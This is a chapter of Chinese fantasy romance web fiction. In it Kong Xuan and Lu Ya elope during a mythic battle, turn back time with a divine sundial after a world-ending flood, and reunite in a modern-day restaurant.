丹雀高高在上,俯视众生,凝视金鹏的目光在没有之前盈盈柔和:“好久不见了金鹏,我今天来此是要回你从我这夺走之物。” “好孩子,不要再助纣为虐了,跟我走吧。”丹雀优雅地落在山梁,她温声向丹丹伸出手。 丹丹迷惑:“你是谁?你和我好像啊?” “我是你的母亲。”丹雀轻声细语:“好孩子,和我回不周山吧。” 美丽优雅又温柔的丹雀从天而降,对比金鹏此刻的狰狞狼狈,像是高高在上的仙女。 丹丹歪头看看狼狈的爹爹,再看看漂亮的妈妈。 她还什么都没有表示,金鹏就已经气急败坏,他疯狂怒骂嘶吼:“想都别想!丹丹是我的女儿,她只会是我的,她要跟着我,她只能听我的——” “丹丹,丹丹,你最听爹爹话了,杀了她!杀了她!把他们所有人都杀了!” 陆压转了转手腕,冰冷的目光又落在金鹏身上,抬手像是拖死狗一样扯着他的翅膀拉向自己,他面色冷峻,话语尖锐:“你在狗叫什么?” “你就是这样,仗着孔宣是你哥哥命令他利用他欺负他的吗?”他一把拽起金鹏的羽毛,“撕拉”一声,轻而易举的空手掐住金鹏的喉管,像是掐住一只垂死挣扎的鸡。 “你真该死。”他神色晦暗恐怖,压抑的杀意狂潮暗涌,如冰冷的剑锋,凌厉地撕破金鹏最后的伪装。 金鹏再也装不出任何得意与张扬,他恐慌得犹如即将下锅的鸡崽,扑腾着翅膀疯狂摇头尖叫:“哥哥!哥哥!救救我,救救我!哥哥——” 他尖锐爆鸣,越叫越凶,色厉内荏又恐慌不已。 他甚至不再叫丹丹,他遇到危险永远叫的都是哥哥。 只有孔宣会给他收拾所有烂事,只有孔宣会无条件站在他这边。 丹雀不行,丹丹不行…… “就知道叫哥哥,我还以为你有什么本事呢,金鹏。” 清越肆意的嗓音从高空飘零落下,一片末日晦暗被天光散去,众人视线中只有张扬无垠的青。 绚丽的青羽从高空划过,飘零之中,孔雀金羽化作巨大法相,青色勾勒出绚丽的羽毛,在空中盛放怒张出一扇长羽。 一点神火点坠在他的发尾,随着眼中璀璨妖异的扩散,迅速沾染上他的衣摆。 孔宣身姿绰约长发飘散,眉目肆意华服美人,寥寥勾起唇角更是颠倒众生。 众生无言,唯有孔宣在满天青色中勾唇浅笑,华丽的尾羽肆意伸展,一圈一圈地缠住陆压的手腕、脚踝…… 陆压手指松懈,不受控制地被青羽牵引到了孔宣面前。 漂亮张扬的青年眉眼戏谑,与他耳鬓厮磨、缠绵悱恻。 陆压与神魔缠绵,神魔眼尾泛红,语气故作委屈,暗藏滔天恶意。 “亲爱的,天塌之前来接个吻吧。” “好啊。” 陆压利索答应,在众人面前,他一手掐住孔宣的下巴猛地亲了上去。 他动作激烈肆意,舌尖灵巧地撬开缝隙,与此同时,他逐渐收紧圈在孔宣腰上的手,将人紧紧揽向自己。 孔宣懵懵地瞪大眼睛,他“唔唔”挣扎,被抱得密不透风、几乎要被男人揉进骨血,就连呼吸也被人为夺取。 他目光逐渐迷离涣散,敛起的眼尾流露出几分舒适愉悦,着迷地捧住男人的侧脸,不断阖张着嘴巴迎合着男人的索取,任由黏稠的水线顺着嘴角滑落,又被舔去。 男人出乎意料的强势逼得孔宣后腰发软,他攥着男人的头发,任由发丝从指缝溢出,被卷着舌尖乖巧地吮/吸/亲/昵,只觉得自己被完全夺取掌控。 苏得他双腿发软。 孔宣忍不住轻哼出声,手掌难耐地抚摸过陆压的肩膀,攥着他的衣服不肯松手。 直到金鹏绷不住怒吼出声:“超你他妈!我说你怎么让我住汤谷,你居然勾搭我哥!你怎么敢!你怎么敢!你这个傻哔[哗——][哗——][哗——]” 好优美的中国话,好美丽的精神状态。 孔宣总算找回点意识,恋恋不舍地噘嘴亲了亲男人,主动退开。 他双眼迷离,衣领散乱,漂亮的绯色在眼角化开一片艳丽秾烈,一眼过去却又凶又傲。 “对你哥夫喊这么大声干什么?没礼貌。”孔宣不满甩了他一眼,手指漫不经心地整理起衣领。 视线落在自己扯散的衣领,陆压漂亮的锁骨从衣领透出,往下是漂亮的肌肉线条,往上是性感滚动的粗壮喉结。 孔宣想入非非,干咳几声正要应付应付臭弟弟,突然被人一扯。 陆压一把将他扯进怀里,视线冷冷扫过金鹏:“走。” 陆压拉着孔宣就要走。 这个发展在场所有人都懵了。 “走去哪?”孔宣傻乎乎地问。 “私奔。”陆压言简意赅,拉着孔宣就要逃离战场。 孔宣:!!! “等等——” 孔宣的拒绝还没说完,陆压突然回头,捧着孔宣的脸又亲了下去。 直到孔宣意乱情迷,恍恍惚惚,他才往后退了退捧着孔宣的脸再度问:“能不能私奔?” 他面色凌戾,捧着孔宣的手掌有力又固执,似乎只要孔宣不同意,他还会继续亲下去。 孔宣懵懵点头,被陆压得强势迷得找不着北,小鸡啄米似地乖巧点头。 “好好好,走走走!”什么保护世界,什么人妖大战,他不管了! 陆压立刻拉着孔宣就要走。 小两口要私奔,陵光和金鹏一起崩溃:“等等,等等!” 等不了! 陆压脚步不停,拉着孔宣从战场中穿行而过。 犹如末世私奔的小情侣,一片混乱中,唯有彼此才是唯一重要的依靠。 金鹏彻底崩溃了:“哥哥!你不能走,我在这里啊,哥哥!哥哥!” 金鹏痛苦嘶吼声换不回来孔宣一个回头,孔宣脚步匆匆,身影不说被强迫,只能说得上是迫不及待。 建国梦碎,女儿被索要抚养权,唯一一直站在自己这边的哥哥也跟野男人跑了。 金鹏彻底崩溃了,他伏在地上又痛又疯,一张脸扭曲至极。 他狰狞地攥紧拳头,恨声怒吼:“孔宣!” 狗日的陆压!傻哔金乌!去死去死去死! “快阻止他,他要破坏天缝!”兵荒马乱中有人尖叫出声。 孔宣脚步微顿,他下意识回过头,只见金鹏的尾羽消失在河流中。 下一秒,世界恍若破碎般猛地炸开刺眼的光彩,巨大的爆炸掀起滔天河水,一瞬间将世间所有尽数席卷。 “陆压……”孔宣猛地被男人抱紧怀里,他意识模糊,被滔天洪水卷住,零落进混乱失序的幻梦。 所有的一切,记忆、言语与空间被洪水尽数吞噬消磨,化作碎片寥落飘散。 他猛地一个激灵,睁开眼,刺眼的天光落在眼前,翠绿的枝叶在视线中闲适飘摇。 “怎么了?乖崽。”温柔的嗓音在耳边响起,孔宣只感觉自己被一片绚丽的五色羽毛温暖包裹。 他茫茫然低下头,抬起翠青的翅膀,歪头歪脑地看看身边华丽庄严的母亲。 凤凰华美端方,端坐在巢穴之中,美丽动人,凛然不可侵犯,唯独在小崽崽面前泄露出一丝温情。 凤凰垂首,轻轻梳理着崽崽的羽毛,轻声询问:“是做噩梦了吗?” 小孔雀摇头晃脑,啾啾叫了两声,黏糊糊地贴在妈妈身边,嗓音欢快极了:“妈妈妈妈妈妈——” “乖孩子。”凤凰温声微笑。 …… “小十。” “十崽。” “小弟,你在发什么愣呢?” 毛绒绒的碰撞是小金乌之间最喜欢的小游戏,他们团成一团,亲亲热热地挨在一起,天真烂漫地用喙嘴整理着自家兄弟姐妹们的羽毛,再黏黏糊糊地挨挨蹭蹭。 被一连串“啾啾”惊醒的,最小的金乌小十猛地回神,他茫然地眨眨眼睛,似乎是他的不同寻常吸引了母亲的注意。 温柔慈爱的日母低下头,手掌温暖地覆在他的头顶,安抚般摸了摸:“怎么了吗?小十。” 小十仰着脑袋,迷迷糊糊地摇摇头,视线落在妈妈和兄弟姐妹们身上。 “妈妈、大哥、二姐、三姐、四哥、五哥、六姐、七姐、八哥、九哥……” “在哦哥哥在哦~” “小十你又要撒娇了。” “哎呀,小十要抱抱吗?” “小十小十小十……” 一连串的答应声热闹又欢腾,日母将最小的孩子捧起,凑到脸边温柔地蹭了蹭,弯起眼眸轻声应答:“母亲在哦,妈妈的宝贝。” …… “乖崽,怎么了吗?” 凤凰亲昵地与孩子蹭了蹭喙嘴,她唯一的孩子正紧紧贴在自己的身侧,她细致耐心,将小崽崽每一根羽毛梳理得整整齐齐。 小孔雀歪着脑袋,将自己完全与妈妈贴在一起,似乎十分享受这样的亲子时光。 但是,长大的鸟有了另外的巢穴,就不能一直赖在妈妈身边了。 孔宣闭了闭眼,再睁开眼时他眼中依旧不舍,仿佛挖骨剖肉般痛苦。 “妈妈,我会回不周山看你的……” 他甚至不敢回头,他猛地张开翅膀,迎着初生的太阳飞离巢穴。 完全不知道他要去哪的凤凰追在背后痛苦嘶喊,声声泣血:“我的孩子,你要去哪,孩子……” “快回到妈妈身边,小十……” “小十别走,小十……” 冰冷的流风碎云刮蹭过太阳的侧脸,日母与九只金乌追逐在最小的金乌身后,他们不停地哀求呼唤,试图唤回陆压的脚步。 眼泪如断了线的珍珠般联翩落下,陆压没有回头,他在月亮落下的一瞬间猛然张开翅膀,超越兄弟姐妹的身影,毅然飞向天空。 诸如此类的哀求不断响起,无数只神兽在此刻睁开眼睛,他们奔跑着、飞翔着…… 在太阳破晓的那一瞬间,他们齐齐奔向世界的尽头,毫无回转地渡进冰冷的河水。 河水漫过他们的膝盖、脖子,即将升起的太阳粼粼悬挂在天之一角,此刻海天一色,水面波光粼粼浮光掠影般映出他们的模样。 孔宣与陆压在梦境的尽头相遇,他们同时停下脚步,彼此悲伤的神态熟悉又陌生。 最终,是孔宣先扯开笑容,朝陆压挑起长眉,故意逗弄他:“还私奔吗鸦鸦~” “走。”陆压不假思索。 他朝孔宣伸手,两个人十指相扣,细微微光从指缝中渗出,他们一齐面对着朝阳。 陆压低声说:“和母亲兄弟们在一起的过去真的很快乐。” “但是我更想和你一起走向未来。” 孔宣闭上眼睛:“我也是。” 他们一齐跳下漫漫长河,再睁开眼,他们从河水中探头,漫天洪水淹没了一切,人类建造的世界在一瞬间沉没水底,世界一片宁静,清凉凉的水面倒影着空白干净点世界。 所有的一切都没了。 天缝的边缘摇摇欲坠,从水底撕拉到天空之上,边缘布满了怪异的光斑,闪烁着极为狰狞恐怖的痕迹。 “这就是天道的自保程序吧。”孔宣自嘲。 世界毁灭之前,用梦境将所有幸存下来的神兽一起困住,要是成功困死了他们,逸散出来的灵气自然而然就能修补天缝。 到那时,世界还能重新发展,所有的一切都会回来。 这就是轮回。 此刻,河中的所有神兽抬头,齐齐看向头顶如太阳一般巨大的日晷虚影。 日晷明亮璀璨,突然浮现的巨大法相几乎占据了整个空间,阴阳八卦在空中浮现,紧随而来的浩瀚神光铺满了整片天空。 像是从远方遥遥传来的天外佛音、又似紊乱未知的呓语,伴随着回荡的嗡鸣声迅速在天地传递荡开。 有无尽的絮语无声飘零,带来极致的眩晕痴幻,在所有触及金光的神、妖、人耳边轻声怂恿。 麒麟第一个站了出来:“只要有足够的灵气就能拯救这一切了吧?” 大风不知道在梦境里看到了什么,骂骂咧咧地咬住金鹏,一边撕咬一边咒骂:“你敢骗我!你根本不会帮我!正好我们一起去死!” 他咬着金鹏就要往天缝底下拖,金鹏无力地抓挠着地面,不断挣扎哀求:“哥哥、哥哥……” “有足够的灵气,是不是就能动用日晷了?”陵光拍了拍孔宣的肩膀,与他们擦身而过时,斜睨而来的目光狡黠玩味:“我们就拜托你了。” 白虎嘟嘟囔囔地往前走:“让一切都恢复原样吧。灵气复苏一点都不好玩。” “哎呀,那我们这段时间的记忆是不是就没了啊?”穷奇摇头晃脑,一边叹气一边往下走。 “啊?那我的展怎么办?我不想再办第二次了,补药哇!”穆怜青痛苦哀嚎,没有任何迟疑地跳下天缝。 …… 一群神兽一个接一个,挨个拍了拍陆压和孔宣的肩膀,嘴角含笑地走向死亡,没有任何犹豫胆怯。 孔宣歪头看向陆压:“这个能靠谱吗?” “可以试试,灵气足够的话可以回到过去,就是不能太久远。”陆压望着由父母所化的日晷,他浅笑一声,歪头看向孔宣:“大王,你想回到多久之前?” 孔宣不假思索:“至少得我活过来那天吧。” 他可不想好不容易活了又死了。 而且! 想到陆压第一次见面把自己送动物园,孔宣眼睛都要冒火了:“你这家伙,老婆送上门你送动物园!” 陆压也怔了一下,连忙举起手表示自己真的知错了。 孔宣哼了一声,一脸傲气的命令:“再来一次,你必须对我一见钟情强取豪夺穷追不舍求婚成亲马上洞房!” “还有……” 陆压正侧耳听孔宣说话,突然被一双手捧住脸,一个如云雾般轻盈地亲亲落在他的脸上。 孔宣嗓音温柔至极:“我喜欢你。” 他毫不犹豫地跳下天缝,没有给陆压更多反应时间。 陆压怔了很久,无奈笑了起来:“至少先等等我啊。” 他抬手催动日晷,刺眼的金光将他笼罩,他思考许久,轻声笑了起来:“我想想,还是早回去一阵子吧。” 要阻止金鹏作乱破坏天缝,要提早和人类合作,最好直接掌控妖管局,让可能到来的灵气复苏平稳度过…… 就算没有灵气复苏也没关系。 他会带给大王一个和平安宁的时代。 · “轰隆——” 20xx年5月20日,来广市接连不断的大雨下了几天,今夜也是大雨滂沱,浓密的雨丝连成一片,将这座安宁的城市浇化模糊。 “……根据我国专家组探查,三周前组织撤离的危险地带因为地壳运动堆积出一座山石,高度为……” 晚间新闻联播里的美女主持用字正腔圆的播音腔,准时播报暴雨时期突然惊现的神秘大山,因为准备充足,目前探查工作已经圆满完成。 “滋——” 炒菜下锅溅起油花,正是黄昏,周围的院子里响起了炒菜的声音,与新闻联播的声音交融在一起。 唯独小院中间那家私房菜安安静静,私房菜的新店主坐在电视机前正看着新闻,他年轻桀骜的员工拽着拖把从面前扫过。 店主心情正好,漫不经心地叮嘱:“小鹏,拖完地别忘了再去厨房炒两菜,不要蒜不要葱不要姜……” 新店主屋檐下打起伞,将一盆干净漂亮的鸟粮端出屋子。 伞面落满了雨丝,叮叮咚咚地从伞尖滴落,将屋内屋外分割成两个世界。 员工金鹏低着脑袋,目光阴郁狠戾,一边恶狠狠地怒骂一边老老实实拖地炒菜,一抬头脸上刚好的伤勉勉强强可以见人:“等我哥来了要你好看!” 作为哥夫的店主轻巧地摇了两下头,不和桀骜的妻弟计较,迈着稳重的步伐撑着雨伞往外走。 雨丝敲打在他的头顶,他垂下眼眸,冷峻的眉眼凝神静气,似乎正在等待什么。 突然雨丝中传来翅膀怕打的“簌簌”声,他挑起眉,冷峻的眉眼变化出极为柔和的神情。 一道绚丽的青色划破天空,伴随着轰鸣的雷鸣声,直直地朝他坠下。 “啾啾啾——” 青色的孔雀浑身濡湿,像是行走过很久远的岁月,狼狈却又明亮,如一颗星辰悄然划破天空降临人间。 他浑身狼狈,却在见到陆压的一瞬间发出极度嘶哑的笑声,混杂在雨丝里,似笑似哭般抽泣。 我又见到你了,陆压。 遮蔽风雨的雨伞向浑身濡湿的绿孔雀倾斜,干燥温热的大手轻轻顺过绿孔雀的翅膀。 绿孔雀顺服至极,男人修长的手在绒羽间轻抚,旋即一把抓住,即刻求婚:“你好,结婚。” 孔宣:“嘎OvO?”